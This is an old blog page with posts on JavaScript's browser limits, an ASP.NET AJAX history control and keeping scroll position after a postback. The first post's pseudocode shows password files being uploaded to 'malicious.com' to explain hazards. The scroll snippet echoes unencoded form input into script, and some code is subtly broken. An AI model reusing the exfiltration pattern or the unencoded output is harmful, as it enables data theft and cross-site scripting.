What Javascript cannot do?

JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it uses the browser to do the dirty work. If you command an image to be replaced by another one, JavaScript tells the browser to go do it. Because the browser actually does the work, you only need to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an easy language to start with.

But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all, despite its simple appearance it is a full fledged programming language: it is possible to write quite complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is possible. This means that there are some complex programming structures that you’ll only understand after protracted studies.

Secondly, and more importantly, there are the browser differences. Though modern web browsers all support JavaScript, there is no sacred law that says they should support exactly the same JavaScript. A large part of this site is devoted to exploring and explaining these browser differences and finding ways to cope with them.

So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences (and occasionally syntactic problems) will creep up.

1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

   filesystem.read('/my/password/file');
   filesystem.write('horridvirus.exe');

   
   
2. 
   
   JavaScript cannot execute any other programs. This would also be unacceptable
   
   

   execute('horridvirus.exe')
   

   
   
3. 
   
   JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:
   
   

   var security_hazard = connection.open('malicious.com');
   security_hazard.upload(filesystem.read('/my/password/file'));
   security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));
   

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas.

Get more information

Tags: javascript, programming language, scripting language, browser, browser support

Can't find what you're looking for? Try Google Search!

	Web eshwar123.blogspot.com

Ajax Asp.net enabling Back Forward buttons code

Nikhil recently posted a nice blog post that includes a new ASP.NET AJAX-enabled control called "HistoryControl". When added to a page it allows developers to programmatically add logical views into a browser's history list. This enables you to make AJAX enabled sites much more useful, and to follow the standard back/forward navigation paradigm that traditional web apps follow.

For example, the below code could be written by a developer in response to a selection change within a list to to add the previous list selection to the browser's history via Nikhil's "HistoryControl":

Listing 1

private void ContentList_SelectedIndexChanged(object sender, EventArgs e) {
history.AddEntry(contentList.SelectedIndex.ToString();
} 

Once you add entries into the history control, the back/forward button will be enabled in the browser. Nikhil's history control then exposes a "Navigate" event which fires when you press the forward or back button in the browser, and this event then exposes the identifier entry provided before when the view was added into the browser history. You can then use this to restore the page to whatever state it should be in to match the previous history item and update the page:

Listing 2

private void HistoryControl_Navigate(object sender, HistoryEventArgs e) {
int selectedIndex = 0;
if (String.IsNullOrEmpty(e.Identifier) == false) {
selectedIndex = Int32.Parse(e.Identifier);
}
// Update the content being displayed in the page
contentList.SelectedIndex = selectedIndex;
// Mark the update panels as needing an update
mainUpdatePanel.Update();
} 

And now your end-users get forward/back button history navigation working with AJAX. You can download the code for Nikhil's history control and start using it here.

Tags: ajax, asp.net, historycontrol, navigate, back, forward, web applications

Can't find what you're looking for? Try Google Search!

	Web eshwar123.blogspot.com

Asp.net retain Scroll Position after postback

When any control in an ASP.NET WebForm does a postback to the server, the page scrolls to the top after the postback is completed. Users will find the process of scrolling down to the place where they posted the form cumbersome.

This article explains how to retain a page's scroll position after a postback to the server.

ASP.NET automaticaly creates two HTML hidden fields when a server side form contains controls that performs postback to the server. These fields are given below (they can be seen by viewing the source code of the page):

<input type="hidden" name="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" value="" />

The __doPostBack() client side JavaScript function is automatically generated by ASP.NET to handle the postback event. The value for these hidden fields will be set in the client script handler as shown below:

<script language="javascript">
<!--
	function __doPostBack(eventTarget, eventArgument) {
		var theform = document.ctrl0;
		theform.__EVENTTARGET.value = eventTarget;
		theform.__EVENTARGUMENT.value = eventArgument;
		theform.submit();
	}
// -->
</script>

The value of the __EVENTTARGET field will be set to the name of the control which does the postback. This value can be accessed from the server-side by using Request.Form ["__EVENTTARGET"].

To enable the page to retain its scroll position, a HTML anchor is created just above the control that does the postback. The name of the anchor should be the same as that of the control.

<a name="#DROPDOWN1"></a>
<ASP:DropDownList id=DropDown1 runat="server" AutoPostBack="True">
	<ASP:Listitem Text="Horizontal"/>
	<ASP:Listitem Text="Vertical"/>
</ASP:DropDownList/>

A client-side JavaScript, coded at the end of the page, is executed after the page loads. This causes the page to scroll to the anchor from where the postback occurred.

<script runat="server">
	location.href="#<%=Request.Form["__EVENTTARGET"]%>";
</script>

Get more information

Tags: asp.net, javascript, scroll position, postback, retain scroll, dopostback

Can't find what you're looking for? Try Google Search!

	Web eshwar123.blogspot.com